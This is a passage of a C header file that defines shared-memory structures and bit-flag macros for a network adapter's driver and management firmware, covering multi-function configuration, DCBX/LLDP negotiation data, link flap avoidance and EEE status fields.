uint32_t iscsi_boot_signature; uint32_t iscsi_boot_block_offset; uint32_t drv_status; #define DRV_STATUS_PMF 0x00000001 #define DRV_STATUS_VF_DISABLED 0x00000002 #define DRV_STATUS_SET_MF_BW 0x00000004 #define DRV_STATUS_LINK_EVENT 0x00000008 #define DRV_STATUS_DCC_EVENT_MASK 0x0000ff00 #define DRV_STATUS_DCC_DISABLE_ENABLE_PF 0x00000100 #define DRV_STATUS_DCC_BANDWIDTH_ALLOCATION 0x00000200 #define DRV_STATUS_DCC_CHANGE_MAC_ADDRESS 0x00000400 #define DRV_STATUS_DCC_RESERVED1 0x00000800 #define DRV_STATUS_DCC_SET_PROTOCOL 0x00001000 #define DRV_STATUS_DCC_SET_PRIORITY 0x00002000 #define DRV_STATUS_DCBX_EVENT_MASK 0x000f0000 #define DRV_STATUS_DCBX_NEGOTIATION_RESULTS 0x00010000 #define DRV_STATUS_AFEX_EVENT_MASK 0x03f00000 #define DRV_STATUS_AFEX_LISTGET_REQ 0x00100000 #define DRV_STATUS_AFEX_LISTSET_REQ 0x00200000 #define DRV_STATUS_AFEX_STATSGET_REQ 0x00400000 #define DRV_STATUS_AFEX_VIFSET_REQ 0x00800000 #define DRV_STATUS_DRV_INFO_REQ 0x04000000 #define DRV_STATUS_EEE_NEGOTIATION_RESULTS 0x08000000 uint32_t virt_mac_upper; #define VIRT_MAC_SIGN_MASK 0xffff0000 #define VIRT_MAC_SIGNATURE 0x564d0000 uint32_t virt_mac_lower; }; /**************************************************************************** * Management firmware state * ****************************************************************************/ /* Allocate 440 bytes for management firmware */ #define MGMTFW_STATE_WORD_SIZE 110 struct mgmtfw_state { uint32_t opaque[MGMTFW_STATE_WORD_SIZE]; }; /**************************************************************************** * Multi-Function configuration * ****************************************************************************/ struct shared_mf_cfg { uint32_t clp_mb; #define SHARED_MF_CLP_SET_DEFAULT 0x00000000 /* set by CLP */ #define SHARED_MF_CLP_EXIT 0x00000001 /* set by MCP */ #define SHARED_MF_CLP_EXIT_DONE 0x00010000 }; struct port_mf_cfg { uint32_t dynamic_cfg; /* device control channel */ #define PORT_MF_CFG_E1HOV_TAG_MASK 0x0000ffff #define PORT_MF_CFG_E1HOV_TAG_SHIFT 0 #define PORT_MF_CFG_E1HOV_TAG_DEFAULT PORT_MF_CFG_E1HOV_TAG_MASK uint32_t reserved[1]; }; struct func_mf_cfg { uint32_t config; /* E/R/I/D */ /* function 0 of each port cannot be hidden */ #define FUNC_MF_CFG_FUNC_HIDE 0x00000001 #define FUNC_MF_CFG_PROTOCOL_MASK 0x00000006 #define FUNC_MF_CFG_PROTOCOL_FCOE 0x00000000 #define FUNC_MF_CFG_PROTOCOL_ETHERNET 0x00000002 #define FUNC_MF_CFG_PROTOCOL_ETHERNET_WITH_RDMA 0x00000004 #define FUNC_MF_CFG_PROTOCOL_ISCSI 0x00000006 #define FUNC_MF_CFG_PROTOCOL_DEFAULT \ FUNC_MF_CFG_PROTOCOL_ETHERNET_WITH_RDMA #define FUNC_MF_CFG_FUNC_DISABLED 0x00000008 #define FUNC_MF_CFG_FUNC_DELETED 0x00000010 #define FUNC_MF_CFG_FUNC_BOOT_MASK 0x00000060 #define FUNC_MF_CFG_FUNC_BOOT_BIOS_CTRL 0x00000000 #define FUNC_MF_CFG_FUNC_BOOT_VCM_DISABLED 0x00000020 #define FUNC_MF_CFG_FUNC_BOOT_VCM_ENABLED 0x00000040 /* PRI */ /* 0 - low priority, 3 - high priority */ #define FUNC_MF_CFG_TRANSMIT_PRIORITY_MASK 0x00000300 #define FUNC_MF_CFG_TRANSMIT_PRIORITY_SHIFT 8 #define FUNC_MF_CFG_TRANSMIT_PRIORITY_DEFAULT 0x00000000 /* MINBW, MAXBW */ /* value range - 0..100, increments in 100Mbps */ #define FUNC_MF_CFG_MIN_BW_MASK 0x00ff0000 #define FUNC_MF_CFG_MIN_BW_SHIFT 16 #define FUNC_MF_CFG_MIN_BW_DEFAULT 0x00000000 #define FUNC_MF_CFG_MAX_BW_MASK 0xff000000 #define FUNC_MF_CFG_MAX_BW_SHIFT 24 #define FUNC_MF_CFG_MAX_BW_DEFAULT 0x64000000 uint32_t mac_upper; /* MAC */ #define FUNC_MF_CFG_UPPERMAC_MASK 0x0000ffff #define FUNC_MF_CFG_UPPERMAC_SHIFT 0 #define FUNC_MF_CFG_UPPERMAC_DEFAULT FUNC_MF_CFG_UPPERMAC_MASK uint32_t mac_lower; #define FUNC_MF_CFG_LOWERMAC_DEFAULT 0xffffffff uint32_t e1hov_tag; /* VNI */ #define FUNC_MF_CFG_E1HOV_TAG_MASK 0x0000ffff #define FUNC_MF_CFG_E1HOV_TAG_SHIFT 0 #define FUNC_MF_CFG_E1HOV_TAG_DEFAULT FUNC_MF_CFG_E1HOV_TAG_MASK /* afex default VLAN ID - 12 bits */ #define FUNC_MF_CFG_AFEX_VLAN_MASK 0x0fff0000 #define FUNC_MF_CFG_AFEX_VLAN_SHIFT 16 uint32_t afex_config; #define FUNC_MF_CFG_AFEX_COS_FILTER_MASK 0x000000ff #define FUNC_MF_CFG_AFEX_COS_FILTER_SHIFT 0 #define FUNC_MF_CFG_AFEX_MBA_ENABLED_MASK 0x0000ff00 #define FUNC_MF_CFG_AFEX_MBA_ENABLED_SHIFT 8 #define FUNC_MF_CFG_AFEX_MBA_ENABLED_VAL 0x00000100 #define FUNC_MF_CFG_AFEX_VLAN_MODE_MASK 0x000f0000 #define FUNC_MF_CFG_AFEX_VLAN_MODE_SHIFT 16 uint32_t pf_allocation; /* number of vfs in function, if 0 - sriov disabled */ #define FUNC_MF_CFG_NUMBER_OF_VFS_MASK 0x000000FF #define FUNC_MF_CFG_NUMBER_OF_VFS_SHIFT 0 }; enum mf_cfg_afex_vlan_mode { FUNC_MF_CFG_AFEX_VLAN_TRUNK_MODE = 0, FUNC_MF_CFG_AFEX_VLAN_ACCESS_MODE, FUNC_MF_CFG_AFEX_VLAN_TRUNK_TAG_NATIVE_MODE }; /* This structure is not applicable and should not be accessed on 57711 */ struct func_ext_cfg { uint32_t func_cfg; #define MACP_FUNC_CFG_FLAGS_MASK 0x0000007F #define MACP_FUNC_CFG_FLAGS_SHIFT 0 #define MACP_FUNC_CFG_FLAGS_ENABLED 0x00000001 #define MACP_FUNC_CFG_FLAGS_ETHERNET 0x00000002 #define MACP_FUNC_CFG_FLAGS_ISCSI_OFFLOAD 0x00000004 #define MACP_FUNC_CFG_FLAGS_FCOE_OFFLOAD 0x00000008 #define MACP_FUNC_CFG_PAUSE_ON_HOST_RING 0x00000080 uint32_t iscsi_mac_addr_upper; uint32_t iscsi_mac_addr_lower; uint32_t fcoe_mac_addr_upper; uint32_t fcoe_mac_addr_lower; uint32_t fcoe_wwn_port_name_upper; uint32_t fcoe_wwn_port_name_lower; uint32_t fcoe_wwn_node_name_upper; uint32_t fcoe_wwn_node_name_lower; uint32_t preserve_data; #define MF_FUNC_CFG_PRESERVE_L2_MAC (1<<0) #define MF_FUNC_CFG_PRESERVE_ISCSI_MAC (1<<1) #define MF_FUNC_CFG_PRESERVE_FCOE_MAC (1<<2) #define MF_FUNC_CFG_PRESERVE_FCOE_WWN_P (1<<3) #define MF_FUNC_CFG_PRESERVE_FCOE_WWN_N (1<<4) #define MF_FUNC_CFG_PRESERVE_TX_BW (1<<5) }; struct mf_cfg { struct shared_mf_cfg shared_mf_config; /* 0x4 */ struct port_mf_cfg port_mf_config[NVM_PATH_MAX][PORT_MAX]; /* 0x10*2=0x20 */ /* for all chips, there are 8 mf functions */ struct func_mf_cfg func_mf_config[E1H_FUNC_MAX]; /* 0x18 * 8 = 0xc0 */ /* * Extended configuration per function - this array does not exist and * should not be accessed on 57711 */ struct func_ext_cfg func_ext_config[E1H_FUNC_MAX]; /* 0x28 * 8 = 0x140*/ }; /* 0x224 */ /**************************************************************************** * Shared Memory Region * ****************************************************************************/ struct shmem_region { /* SharedMem Offset (size) */ uint32_t validity_map[PORT_MAX]; /* 0x0 (4*2 = 0x8) */ #define SHR_MEM_FORMAT_REV_MASK 0xff000000 #define SHR_MEM_FORMAT_REV_ID ('A'<<24) /* validity bits */ #define SHR_MEM_VALIDITY_PCI_CFG 0x00100000 #define SHR_MEM_VALIDITY_MB 0x00200000 #define SHR_MEM_VALIDITY_DEV_INFO 0x00400000 #define SHR_MEM_VALIDITY_RESERVED 0x00000007 /* One licensing bit should be set */ #define SHR_MEM_VALIDITY_LIC_KEY_IN_EFFECT_MASK 0x00000038 #define SHR_MEM_VALIDITY_LIC_MANUF_KEY_IN_EFFECT 0x00000008 #define SHR_MEM_VALIDITY_LIC_UPGRADE_KEY_IN_EFFECT 0x00000010 #define SHR_MEM_VALIDITY_LIC_NO_KEY_IN_EFFECT 0x00000020 /* Active MFW */ #define SHR_MEM_VALIDITY_ACTIVE_MFW_UNKNOWN 0x00000000 #define SHR_MEM_VALIDITY_ACTIVE_MFW_MASK 0x000001c0 #define SHR_MEM_VALIDITY_ACTIVE_MFW_IPMI 0x00000040 #define SHR_MEM_VALIDITY_ACTIVE_MFW_UMP 0x00000080 #define SHR_MEM_VALIDITY_ACTIVE_MFW_NCSI 0x000000c0 #define SHR_MEM_VALIDITY_ACTIVE_MFW_NONE 0x000001c0 struct shm_dev_info dev_info; /* 0x8 (0x438) */ license_key_t drv_lic_key[PORT_MAX]; /* 0x440 (52*2=0x68) */ /* FW information (for internal FW use) */ uint32_t fw_info_fio_offset; /* 0x4a8 (0x4) */ struct mgmtfw_state mgmtfw_state; /* 0x4ac (0x1b8) */ struct drv_port_mb port_mb[PORT_MAX]; /* 0x664 (16*2=0x20) */ #ifdef BMAPI /* This is a variable length array */ /* the number of function depends on the chip type */ struct drv_func_mb func_mb[1]; /* 0x684 (44*2/4/8=0x58/0xb0/0x160) */ #else /* the number of function depends on the chip type */ struct drv_func_mb func_mb[]; /* 0x684 (44*2/4/8=0x58/0xb0/0x160) */ #endif /* BMAPI */ }; /* 57711 = 0x7E4 | 57712 = 0x734 */ /**************************************************************************** * Shared Memory 2 Region * ****************************************************************************/ /* The fw_flr_ack is actually built in the following way: */ /* 8 bit: PF ack */ /* 64 bit: VF ack */ /* 8 bit: ios_dis_ack */ /* In order to maintain endianity in the mailbox hsi, we want to keep using */ /* uint32_t. The fw must have the VF right after the PF since this is how it */ /* access arrays(it expects always the VF to reside after the PF, and that */ /* makes the calculation much easier for it. ) */ /* In order to answer both limitations, and keep the struct small, the code */ /* will abuse the structure defined here to achieve the actual partition */ /* above */ /****************************************************************************/ struct fw_flr_ack { uint32_t pf_ack; uint32_t vf_ack[1]; uint32_t iov_dis_ack; }; struct fw_flr_mb { uint32_t aggint; uint32_t opgen_addr; struct fw_flr_ack ack; }; struct eee_remote_vals { uint32_t tx_tw; uint32_t rx_tw; }; /**** SUPPORT FOR SHMEM ARRRAYS *** * The SHMEM HSI is aligned on 32 bit boundaries which makes it difficult to * define arrays with storage types smaller then unsigned dwords. * The macros below add generic support for SHMEM arrays with numeric elements * that can span 2,4,8 or 16 bits. The array underlying type is a 32 bit dword * array with individual bit-filed elements accessed using shifts and masks. * */ /* eb is the bitwidth of a single element */ #define SHMEM_ARRAY_MASK(eb) ((1<<(eb))-1) #define SHMEM_ARRAY_ENTRY(i, eb) ((i)/(32/(eb))) /* the bit-position macro allows the used to flip the order of the arrays * elements on a per byte or word boundary. * * example: an array with 8 entries each 4 bit wide. This array will fit into * a single dword. The diagrmas below show the array order of the nibbles. * * SHMEM_ARRAY_BITPOS(i, 4, 4) defines the stadard ordering: * * | | | | * 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | * | | | | * * SHMEM_ARRAY_BITPOS(i, 4, 8) defines a flip ordering per byte: * * | | | | * 1 | 0 | 3 | 2 | 5 | 4 | 7 | 6 | * | | | | * * SHMEM_ARRAY_BITPOS(i, 4, 16) defines a flip ordering per word: * * | | | | * 3 | 2 | 1 | 0 | 7 | 6 | 5 | 4 | * | | | | */ #define SHMEM_ARRAY_BITPOS(i, eb, fb) \ ((((32/(fb)) - 1 - ((i)/((fb)/(eb))) % (32/(fb))) * (fb)) + \ (((i)%((fb)/(eb))) * (eb))) #define SHMEM_ARRAY_GET(a, i, eb, fb) \ ((a[SHMEM_ARRAY_ENTRY(i, eb)] >> SHMEM_ARRAY_BITPOS(i, eb, fb)) & \ SHMEM_ARRAY_MASK(eb)) #define SHMEM_ARRAY_SET(a, i, eb, fb, val) \ do { \ a[SHMEM_ARRAY_ENTRY(i, eb)] &= ~(SHMEM_ARRAY_MASK(eb) << \ SHMEM_ARRAY_BITPOS(i, eb, fb)); \ a[SHMEM_ARRAY_ENTRY(i, eb)] |= (((val) & SHMEM_ARRAY_MASK(eb)) << \ SHMEM_ARRAY_BITPOS(i, eb, fb)); \ } while (0) /****START OF DCBX STRUCTURES DECLARATIONS****/ #define DCBX_MAX_NUM_PRI_PG_ENTRIES 8 #define DCBX_PRI_PG_BITWIDTH 4 #define DCBX_PRI_PG_FBITS 8 #define DCBX_PRI_PG_GET(a, i) \ SHMEM_ARRAY_GET(a, i, DCBX_PRI_PG_BITWIDTH, DCBX_PRI_PG_FBITS) #define DCBX_PRI_PG_SET(a, i, val) \ SHMEM_ARRAY_SET(a, i, DCBX_PRI_PG_BITWIDTH, DCBX_PRI_PG_FBITS, val) #define DCBX_MAX_NUM_PG_BW_ENTRIES 8 #define DCBX_BW_PG_BITWIDTH 8 #define DCBX_PG_BW_GET(a, i) \ SHMEM_ARRAY_GET(a, i, DCBX_BW_PG_BITWIDTH, DCBX_BW_PG_BITWIDTH) #define DCBX_PG_BW_SET(a, i, val) \ SHMEM_ARRAY_SET(a, i, DCBX_BW_PG_BITWIDTH, DCBX_BW_PG_BITWIDTH, val) #define DCBX_STRICT_PRI_PG 15 #define DCBX_MAX_APP_PROTOCOL 16 #define DCBX_MAX_APP_LOCAL 32 #define FCOE_APP_IDX 0 #define ISCSI_APP_IDX 1 #define PREDEFINED_APP_IDX_MAX 2 /* Big/Little endian have the same representation. */ struct dcbx_ets_feature { /* * For Admin MIB - is this feature supported by the * driver | For Local MIB - should this feature be enabled. */ uint32_t enabled; uint32_t pg_bw_tbl[2]; uint32_t pri_pg_tbl[1]; }; /* Driver structure in LE */ struct dcbx_pfc_feature { #ifdef __BIG_ENDIAN uint8_t pri_en_bitmap; #define DCBX_PFC_PRI_0 0x01 #define DCBX_PFC_PRI_1 0x02 #define DCBX_PFC_PRI_2 0x04 #define DCBX_PFC_PRI_3 0x08 #define DCBX_PFC_PRI_4 0x10 #define DCBX_PFC_PRI_5 0x20 #define DCBX_PFC_PRI_6 0x40 #define DCBX_PFC_PRI_7 0x80 uint8_t pfc_caps; uint8_t reserved; uint8_t enabled; #elif defined(__LITTLE_ENDIAN) uint8_t enabled; uint8_t reserved; uint8_t pfc_caps; uint8_t pri_en_bitmap; #define DCBX_PFC_PRI_0 0x01 #define DCBX_PFC_PRI_1 0x02 #define DCBX_PFC_PRI_2 0x04 #define DCBX_PFC_PRI_3 0x08 #define DCBX_PFC_PRI_4 0x10 #define DCBX_PFC_PRI_5 0x20 #define DCBX_PFC_PRI_6 0x40 #define DCBX_PFC_PRI_7 0x80 #endif }; struct dcbx_app_priority_entry { #ifdef __BIG_ENDIAN uint16_t app_id; uint8_t pri_bitmap; uint8_t appBitfield; #define DCBX_APP_ENTRY_VALID 0x01 #define DCBX_APP_ENTRY_SF_MASK 0x30 #define DCBX_APP_ENTRY_SF_SHIFT 4 #define DCBX_APP_SF_ETH_TYPE 0x10 #define DCBX_APP_SF_PORT 0x20 #elif defined(__LITTLE_ENDIAN) uint8_t appBitfield; #define DCBX_APP_ENTRY_VALID 0x01 #define DCBX_APP_ENTRY_SF_MASK 0x30 #define DCBX_APP_ENTRY_SF_SHIFT 4 #define DCBX_APP_SF_ETH_TYPE 0x10 #define DCBX_APP_SF_PORT 0x20 uint8_t pri_bitmap; uint16_t app_id; #endif }; /* FW structure in BE */ struct dcbx_app_priority_feature { #ifdef __BIG_ENDIAN uint8_t reserved; uint8_t default_pri; uint8_t tc_supported; uint8_t enabled; #elif defined(__LITTLE_ENDIAN) uint8_t enabled; uint8_t tc_supported; uint8_t default_pri; uint8_t reserved; #endif struct dcbx_app_priority_entry app_pri_tbl[DCBX_MAX_APP_PROTOCOL]; }; /* FW structure in BE */ struct dcbx_features { /* PG feature */ struct dcbx_ets_feature ets; /* PFC feature */ struct dcbx_pfc_feature pfc; /* APP feature */ struct dcbx_app_priority_feature app; }; /* LLDP protocol parameters */ /* FW structure in BE */ struct lldp_params { #ifdef __BIG_ENDIAN uint8_t msg_fast_tx_interval; uint8_t msg_tx_hold; uint8_t msg_tx_interval; uint8_t admin_status; #define LLDP_TX_ONLY 0x01 #define LLDP_RX_ONLY 0x02 #define LLDP_TX_RX 0x03 #define LLDP_DISABLED 0x04 uint8_t reserved1; uint8_t tx_fast; uint8_t tx_crd_max; uint8_t tx_crd; #elif defined(__LITTLE_ENDIAN) uint8_t admin_status; #define LLDP_TX_ONLY 0x01 #define LLDP_RX_ONLY 0x02 #define LLDP_TX_RX 0x03 #define LLDP_DISABLED 0x04 uint8_t msg_tx_interval; uint8_t msg_tx_hold; uint8_t msg_fast_tx_interval; uint8_t tx_crd; uint8_t tx_crd_max; uint8_t tx_fast; uint8_t reserved1; #endif #define REM_CHASSIS_ID_STAT_LEN 4 #define REM_PORT_ID_STAT_LEN 4 /* Holds remote Chassis ID TLV header, subtype and 9B of payload. */ uint32_t peer_chassis_id[REM_CHASSIS_ID_STAT_LEN]; /* Holds remote Port ID TLV header, subtype and 9B of payload. */ uint32_t peer_port_id[REM_PORT_ID_STAT_LEN]; }; struct lldp_dcbx_stat { #define LOCAL_CHASSIS_ID_STAT_LEN 2 #define LOCAL_PORT_ID_STAT_LEN 2 /* Holds local Chassis ID 8B payload of constant subtype 4. */ uint32_t local_chassis_id[LOCAL_CHASSIS_ID_STAT_LEN]; /* Holds local Port ID 8B payload of constant subtype 3. */ uint32_t local_port_id[LOCAL_PORT_ID_STAT_LEN]; /* Number of DCBX frames transmitted. */ uint32_t num_tx_dcbx_pkts; /* Number of DCBX frames received. */ uint32_t num_rx_dcbx_pkts; }; /* ADMIN MIB - DCBX local machine default configuration. */ struct lldp_admin_mib { uint32_t ver_cfg_flags; #define DCBX_ETS_CONFIG_TX_ENABLED 0x00000001 #define DCBX_PFC_CONFIG_TX_ENABLED 0x00000002 #define DCBX_APP_CONFIG_TX_ENABLED 0x00000004 #define DCBX_ETS_RECO_TX_ENABLED 0x00000008 #define DCBX_ETS_RECO_VALID 0x00000010 #define DCBX_ETS_WILLING 0x00000020 #define DCBX_PFC_WILLING 0x00000040 #define DCBX_APP_WILLING 0x00000080 #define DCBX_VERSION_CEE 0x00000100 #define DCBX_VERSION_IEEE 0x00000200 #define DCBX_DCBX_ENABLED 0x00000400 #define DCBX_CEE_VERSION_MASK 0x0000f000 #define DCBX_CEE_VERSION_SHIFT 12 #define DCBX_CEE_MAX_VERSION_MASK 0x000f0000 #define DCBX_CEE_MAX_VERSION_SHIFT 16 struct dcbx_features features; }; /* REMOTE MIB - remote machine DCBX configuration. */ struct lldp_remote_mib { uint32_t prefix_seq_num; uint32_t flags; #define DCBX_ETS_TLV_RX 0x00000001 #define DCBX_PFC_TLV_RX 0x00000002 #define DCBX_APP_TLV_RX 0x00000004 #define DCBX_ETS_RX_ERROR 0x00000010 #define DCBX_PFC_RX_ERROR 0x00000020 #define DCBX_APP_RX_ERROR 0x00000040 #define DCBX_ETS_REM_WILLING 0x00000100 #define DCBX_PFC_REM_WILLING 0x00000200 #define DCBX_APP_REM_WILLING 0x00000400 #define DCBX_REMOTE_ETS_RECO_VALID 0x00001000 #define DCBX_REMOTE_MIB_VALID 0x00002000 struct dcbx_features features; uint32_t suffix_seq_num; }; /* LOCAL MIB - operational DCBX configuration - transmitted on Tx LLDPDU. */ struct lldp_local_mib { uint32_t prefix_seq_num; /* Indicates if there is mismatch with negotiation results. */ uint32_t error; #define DCBX_LOCAL_ETS_ERROR 0x00000001 #define DCBX_LOCAL_PFC_ERROR 0x00000002 #define DCBX_LOCAL_APP_ERROR 0x00000004 #define DCBX_LOCAL_PFC_MISMATCH 0x00000010 #define DCBX_LOCAL_APP_MISMATCH 0x00000020 #define DCBX_REMOTE_MIB_ERROR 0x00000040 #define DCBX_REMOTE_ETS_TLV_NOT_FOUND 0x00000080 #define DCBX_REMOTE_PFC_TLV_NOT_FOUND 0x00000100 #define DCBX_REMOTE_APP_TLV_NOT_FOUND 0x00000200 struct dcbx_features features; uint32_t suffix_seq_num; }; struct lldp_local_mib_ext { uint32_t prefix_seq_num; /* APP TLV extension - 16 more entries for negotiation results*/ struct dcbx_app_priority_entry app_pri_tbl_ext[DCBX_MAX_APP_PROTOCOL]; uint32_t suffix_seq_num; }; /***END OF DCBX STRUCTURES DECLARATIONS***/ /***********************************************************/ /* Elink section */ /***********************************************************/ #define SHMEM_LINK_CONFIG_SIZE 2 struct shmem_lfa { uint32_t req_duplex; #define REQ_DUPLEX_PHY0_MASK 0x0000ffff #define REQ_DUPLEX_PHY0_SHIFT 0 #define REQ_DUPLEX_PHY1_MASK 0xffff0000 #define REQ_DUPLEX_PHY1_SHIFT 16 uint32_t req_flow_ctrl; #define REQ_FLOW_CTRL_PHY0_MASK 0x0000ffff #define REQ_FLOW_CTRL_PHY0_SHIFT 0 #define REQ_FLOW_CTRL_PHY1_MASK 0xffff0000 #define REQ_FLOW_CTRL_PHY1_SHIFT 16 uint32_t req_line_speed; /* Also determine AutoNeg */ #define REQ_LINE_SPD_PHY0_MASK 0x0000ffff #define REQ_LINE_SPD_PHY0_SHIFT 0 #define REQ_LINE_SPD_PHY1_MASK 0xffff0000 #define REQ_LINE_SPD_PHY1_SHIFT 16 uint32_t speed_cap_mask[SHMEM_LINK_CONFIG_SIZE]; uint32_t additional_config; #define REQ_FC_AUTO_ADV_MASK 0x0000ffff #define REQ_FC_AUTO_ADV0_SHIFT 0 #define NO_LFA_DUE_TO_DCC_MASK 0x00010000 uint32_t lfa_sts; #define LFA_LINK_FLAP_REASON_OFFSET 0 #define LFA_LINK_FLAP_REASON_MASK 0x000000ff #define LFA_LINK_DOWN 0x1 #define LFA_LOOPBACK_ENABLED 0x2 #define LFA_DUPLEX_MISMATCH 0x3 #define LFA_MFW_IS_TOO_OLD 0x4 #define LFA_LINK_SPEED_MISMATCH 0x5 #define LFA_FLOW_CTRL_MISMATCH 0x6 #define LFA_SPEED_CAP_MISMATCH 0x7 #define LFA_DCC_LFA_DISABLED 0x8 #define LFA_EEE_MISMATCH 0x9 #define LINK_FLAP_AVOIDANCE_COUNT_OFFSET 8 #define LINK_FLAP_AVOIDANCE_COUNT_MASK 0x0000ff00 #define LINK_FLAP_COUNT_OFFSET 16 #define LINK_FLAP_COUNT_MASK 0x00ff0000 #define LFA_FLAGS_MASK 0xff000000 #define SHMEM_LFA_DONT_CLEAR_STAT (1<<24) }; struct shmem2_region { uint32_t size; /* 0x0000 */ uint32_t dcc_support; /* 0x0004 */ #define SHMEM_DCC_SUPPORT_NONE 0x00000000 #define SHMEM_DCC_SUPPORT_DISABLE_ENABLE_PF_TLV 0x00000001 #define SHMEM_DCC_SUPPORT_BANDWIDTH_ALLOCATION_TLV 0x00000004 #define SHMEM_DCC_SUPPORT_CHANGE_MAC_ADDRESS_TLV 0x00000008 #define SHMEM_DCC_SUPPORT_SET_PROTOCOL_TLV 0x00000040 #define SHMEM_DCC_SUPPORT_SET_PRIORITY_TLV 0x00000080 uint32_t ext_phy_fw_version2[PORT_MAX]; /* 0x0008 */ /* * For backwards compatibility, if the mf_cfg_addr does not exist * (the size filed is smaller than 0xc) the mf_cfg resides at the * end of struct shmem_region */ uint32_t mf_cfg_addr; /* 0x0010 */ #define SHMEM_MF_CFG_ADDR_NONE 0x00000000 struct fw_flr_mb flr_mb; /* 0x0014 */ uint32_t dcbx_lldp_params_offset; /* 0x0028 */ #define SHMEM_LLDP_DCBX_PARAMS_NONE 0x00000000 uint32_t dcbx_neg_res_offset; /* 0x002c */ #define SHMEM_DCBX_NEG_RES_NONE 0x00000000 uint32_t dcbx_remote_mib_offset; /* 0x0030 */ #define SHMEM_DCBX_REMOTE_MIB_NONE 0x00000000 /* * The other shmemX_base_addr holds the other path's shmem address * required for example in case of common phy init, or for path1 to know * the address of mcp debug trace which is located in offset from shmem * of path0 */ uint32_t other_shmem_base_addr; /* 0x0034 */ uint32_t other_shmem2_base_addr; /* 0x0038 */ /* * mcp_vf_disabled is set by the MCP to indicate the driver about VFs * which were disabled/flred */ uint32_t mcp_vf_disabled[E2_VF_MAX / 32]; /* 0x003c */ /* * drv_ack_vf_disabled is set by the PF driver to ack handled disabled * VFs */ uint32_t drv_ack_vf_disabled[E2_FUNC_MAX][E2_VF_MAX / 32]; /* 0x0044 */ uint32_t dcbx_lldp_dcbx_stat_offset; /* 0x0064 */ #define SHMEM_LLDP_DCBX_STAT_NONE 0x00000000 /* * edebug_driver_if field is used to transfer messages between edebug * app to the driver through shmem2. * * message format: * bits 0-2 - function number / instance of driver to perform request * bits 3-5 - op code / is_ack? * bits 6-63 - data */ uint32_t edebug_driver_if[2]; /* 0x0068 */ #define EDEBUG_DRIVER_IF_OP_CODE_GET_PHYS_ADDR 1 #define EDEBUG_DRIVER_IF_OP_CODE_GET_BUS_ADDR 2 #define EDEBUG_DRIVER_IF_OP_CODE_DISABLE_STAT 3 uint32_t nvm_retain_bitmap_addr; /* 0x0070 */ /* afex support of that driver */ uint32_t afex_driver_support; /* 0x0074 */ #define SHMEM_AFEX_VERSION_MASK 0x100f #define SHMEM_AFEX_SUPPORTED_VERSION_ONE 0x1001 #define SHMEM_AFEX_REDUCED_DRV_LOADED 0x8000 /* driver receives addr in scratchpad to which it should respond */ uint32_t afex_scratchpad_addr_to_write[E2_FUNC_MAX]; /* * generic params from MCP to driver (value depends on the msg sent * to driver */ uint32_t afex_param1_to_driver[E2_FUNC_MAX]; /* 0x0088 */ uint32_t afex_param2_to_driver[E2_FUNC_MAX]; /* 0x0098 */ uint32_t swim_base_addr; /* 0x0108 */ uint32_t swim_funcs; uint32_t swim_main_cb; /* * bitmap notifying which VIF profiles stored in nvram are enabled by * switch */ uint32_t afex_profiles_enabled[2]; /* generic flags controlled by the driver */ uint32_t drv_flags; #define DRV_FLAGS_DCB_CONFIGURED 0x0 #define DRV_FLAGS_DCB_CONFIGURATION_ABORTED 0x1 #define DRV_FLAGS_DCB_MFW_CONFIGURED 0x2 #define DRV_FLAGS_PORT_MASK ((1 << DRV_FLAGS_DCB_CONFIGURED) | \ (1 << DRV_FLAGS_DCB_CONFIGURATION_ABORTED) | \ (1 << DRV_FLAGS_DCB_MFW_CONFIGURED)) /* Port offset*/ #define DRV_FLAGS_P0_OFFSET 0 #define DRV_FLAGS_P1_OFFSET 16 #define DRV_FLAGS_GET_PORT_OFFSET(_port) ((0 == _port) ? \ DRV_FLAGS_P0_OFFSET : \ DRV_FLAGS_P1_OFFSET) #define DRV_FLAGS_GET_PORT_MASK(_port) (DRV_FLAGS_PORT_MASK << \ DRV_FLAGS_GET_PORT_OFFSET(_port)) #define DRV_FLAGS_FILED_BY_PORT(_field_bit, _port) (1 << ( \ (_field_bit) + DRV_FLAGS_GET_PORT_OFFSET(_port))) /* pointer to extended dev_info shared data copied from nvm image */ uint32_t extended_dev_info_shared_addr; uint32_t ncsi_oem_data_addr; uint32_t sensor_data_addr; uint32_t buffer_block_addr; uint32_t sensor_data_req_update_interval; uint32_t temperature_in_half_celsius; uint32_t glob_struct_in_host; uint32_t dcbx_neg_res_ext_offset; #define SHMEM_DCBX_NEG_RES_EXT_NONE 0x00000000 uint32_t drv_capabilities_flag[E2_FUNC_MAX]; #define DRV_FLAGS_CAPABILITIES_LOADED_SUPPORTED 0x00000001 #define DRV_FLAGS_CAPABILITIES_LOADED_L2 0x00000002 #define DRV_FLAGS_CAPABILITIES_LOADED_FCOE 0x00000004 #define DRV_FLAGS_CAPABILITIES_LOADED_ISCSI 0x00000008 uint32_t extended_dev_info_shared_cfg_size; uint32_t dcbx_en[PORT_MAX]; /* The offset points to the multi threaded meta structure */ uint32_t multi_thread_data_offset; /* address of DMAable host address holding values from the drivers */ uint32_t drv_info_host_addr_lo; uint32_t drv_info_host_addr_hi; /* general values written by the MFW (such as current version) */ uint32_t drv_info_control; #define DRV_INFO_CONTROL_VER_MASK 0x000000ff #define DRV_INFO_CONTROL_VER_SHIFT 0 #define DRV_INFO_CONTROL_OP_CODE_MASK 0x0000ff00 #define DRV_INFO_CONTROL_OP_CODE_SHIFT 8 uint32_t ibft_host_addr; /* initialized by option ROM */ struct eee_remote_vals eee_remote_vals[PORT_MAX]; uint32_t pf_allocation[E2_FUNC_MAX]; #define PF_ALLOACTION_MSIX_VECTORS_MASK 0x000000ff /* real value, as PCI config space can show only maximum of 64 vectors */ #define PF_ALLOACTION_MSIX_VECTORS_SHIFT 0 /* the status of EEE auto-negotiation * bits 15:0 the configured tx-lpi entry timer value. Depends on bit 31. * bits 19:16 the supported modes for EEE. * bits 23:20 the speeds advertised for EEE. * bits 27:24 the speeds the Link partner advertised for EEE. * The supported/adv. modes in bits 27:19 originate from the * SHMEM_EEE_XXX_ADV definitions (where XXX is replaced by speed). * bit 28 when 1'b1 EEE was requested. * bit 29 when 1'b1 tx lpi was requested. * bit 30 when 1'b1 EEE was negotiated. Tx lpi will be asserted if * 30:29 are 2'b11. * bit 31 when 1'b0 bits 15:0 contain a PORT_FEAT_CFG_EEE_ define as * value. When 1'b1 those bits contains a value times 16 microseconds. */ uint32_t eee_status[PORT_MAX]; #define SHMEM_EEE_TIMER_MASK 0x0000ffff #define SHMEM_EEE_SUPPORTED_MASK 0x000f0000 